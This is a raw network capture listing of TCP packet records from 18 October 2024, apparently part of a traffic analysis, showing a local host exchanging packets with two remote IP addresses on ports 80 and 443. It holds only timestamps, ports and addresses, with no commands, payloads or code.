Oct 18, 2024 15:04:55.433280945 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433295965 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433314085 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433330059 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433337927 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.433337927 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.433337927 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.433353901 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433370113 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433378935 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.433387041 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433409929 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433424950 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433430910 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.433440924 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433465004 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.433492899 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.433639050 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433655024 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433681011 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433696985 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433713913 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433720112 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.433731079 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433746099 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433760881 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433777094 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433779955 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.433779955 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.433800936 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433816910 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433832884 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433849096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433866024 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433878899 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.433878899 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.433878899 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.433881044 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433897972 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433933973 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433949947 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433958054 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.433958054 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.433967113 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433983088 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.434004068 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.434063911 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.434063911 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.434096098 CEST	50045	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:55.434107065 CEST	443	50045	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:55.434364080 CEST	443	50045	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:55.435817003 CEST	50045	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:55.435918093 CEST	50045	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:55.435921907 CEST	443	50045	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:55.479440928 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.588857889 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.593732119 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.593790054 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.593808889 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.593847990 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.593868017 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.593883038 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.593899965 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.593918085 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.593964100 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.593964100 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.593997002 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594012022 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594026089 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594041109 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594048023 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.594057083 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594101906 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.594120979 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.594185114 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594199896 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594216108 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594230890 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594255924 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594271898 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594280005 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.594288111 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594304085 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594304085 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.594321966 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594337940 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594363928 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.594384909 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.594569921 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594585896 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594610929 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594625950 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594640970 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594655991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594671011 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594674110 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.594674110 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.594686985 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594708920 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.594708920 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594726086 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594743013 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594758034 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594759941 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.594774961 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594789028 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594805002 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594820976 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594837904 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594845057 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.594845057 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.594854116 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594870090 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594885111 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594901085 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.594963074 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.594964027 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.595160961 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595176935 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595191956 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595207930 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595221996 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595236063 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595249891 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595266104 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595280886 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595283985 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.595283985 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.595283985 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.595298052 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595321894 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595338106 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595352888 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.595352888 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.595352888 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595381021 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595398903 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.595403910 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595418930 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595429897 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.595433950 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595449924 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595465899 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595494032 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595503092 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.595503092 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.595510006 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595525980 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595540047 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595556021 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595570087 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595577002 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.595577002 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.595592976 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595608950 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595622063 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.595622063 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.595623016 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595638990 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595654011 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595668077 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595683098 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595691919 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.595700026 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.595746994 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.595746994 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.596033096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596046925 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596061945 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596077919 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596092939 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596100092 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.596158981 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.596196890 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596211910 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596237898 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596241951 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.596255064 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596271038 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596286058 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596299887 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596308947 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596313953 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.596313953 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.596324921 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596340895 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596349955 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.596355915 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596371889 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596386909 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596402884 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596417904 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596429110 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.596429110 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.596429110 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.596432924 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596450090 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596466064 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596482992 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596484900 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.596484900 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.596524954 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.596852064 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596868038 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596882105 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596896887 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596910954 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596926928 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596941948 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596957922 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596963882 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.596963882 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.596963882 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.596966982 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.596982002 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597007990 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597018003 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.597024918 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597032070 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.597052097 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597069025 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597074986 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.597084999 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597100973 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597110987 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.597115993 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597134113 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597148895 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597162962 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597187042 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597202063 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597207069 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.597207069 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.597207069 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.597218990 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597234964 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597249031 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597265005 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597280025 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597294092 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597310066 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597317934 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.597317934 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.597317934 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.597325087 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597335100 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.597342014 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597357988 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597409010 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.597409010 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.597798109 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597812891 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597827911 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597842932 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597857952 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597863913 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.597875118 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597889900 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597904921 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597913027 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597919941 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.597919941 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.597949028 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597965002 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597980022 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.597995996 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598015070 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.598015070 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.598018885 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598015070 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.598037958 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598054886 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598063946 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598078012 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598103046 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598104000 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.598104000 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.598119020 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.598120928 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598138094 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598155022 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598170042 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598176956 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.598186016 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598201990 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598216057 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598232985 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598248005 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598263979 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.598264933 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598263979 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.598263979 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.598282099 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598297119 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598313093 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598356962 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.598356962 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.598356962 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.598742008 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598757982 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598774910 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598789930 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598804951 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598819971 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598834991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598843098 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598850012 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598865032 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598865986 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.598865986 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.598889112 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.598892927 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598911047 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598927975 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598927975 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.598944902 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598962069 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598970890 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.598985910 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.598994017 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599011898 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.599011898 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599029064 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599037886 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.599045992 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599061012 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599069118 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.599077940 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599093914 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599111080 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599126101 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.599128008 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.599128008 CEST	50042	80	192.168.2.4	185.215.113.103
